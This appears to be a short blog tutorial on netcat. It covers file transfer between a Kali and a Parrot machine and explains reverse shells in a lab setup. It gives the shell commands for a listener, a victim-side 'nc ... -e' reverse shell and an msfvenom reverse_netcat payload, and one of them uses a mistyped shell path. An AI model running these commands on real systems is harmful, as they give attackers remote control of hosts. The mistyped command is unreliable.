EXPLAINED | Netcat file transfer

 

NETCAT  FILE TRANSFER




WELCOME TO TAMILCODE 


HERE IS TRICKS AND TECHNOLOGY 






HOW TO TRANSFER THE FILE IN NETCAT?


First, we going to take two which is kali Linux (sender) and parrot os ( receiver) so
in this netcat series I have taken two machines of Linux 



FIRST YOU WANT TO CREATE THE FILE TO SEND TO THE PARROT OS.


next, we going to set the listener in the kali machine which is sender here



nc -lvp 8080 < filname.txt 


Next, we going to set the receiver in a parrot machine 


nc 192.0.0.1 8080 > filename.txt ( give your attacker machine ip )




So netcat will transfer your file to the receiver which is a parrot machine ..... therefore this way to set the netcat in Linux machine ... same ways to set listener windows also



WHAT IS  REVERSE SHELL?


A reverse shell is nothing but it is a shell which the attacker box restart from the target host
or victim host 



now let us see how to take the reverse shell in the Linux machine 







Now the KALI LINUX ( ATTACKER ) AND PARROT OS ( VICTIM )




METHOD 1:



First, we going to set the listener in the kali Linux machine 


nc -lvp 8080



Next, we going to set the receiver in a parrot machine using the below command  


nc 192.0.0.0 8080 -e /bash/bin 






METHOD 2 

So this is method 2 you use either this or that because sometimes the above connection 
will not work for some time ...

msfvenom -p cmd/unix/reverse_netcat LHOST=192.0.0.0 LPORT=8080 R

NOW YOUR PAYLOAD WILL BE GENERATED 
by pasting the payload in payload in the parrot machine you will get a reverse connection 



REVERSE SHELL IS HERE ( IN KALI LINUX MACHINE )





WATCH THE PART 2 VIDEO 




FACEBOOK LINK 




WEBSITE LINK 



 
If like our article please be support us using the below button 


 

Post a Comment

0 Comments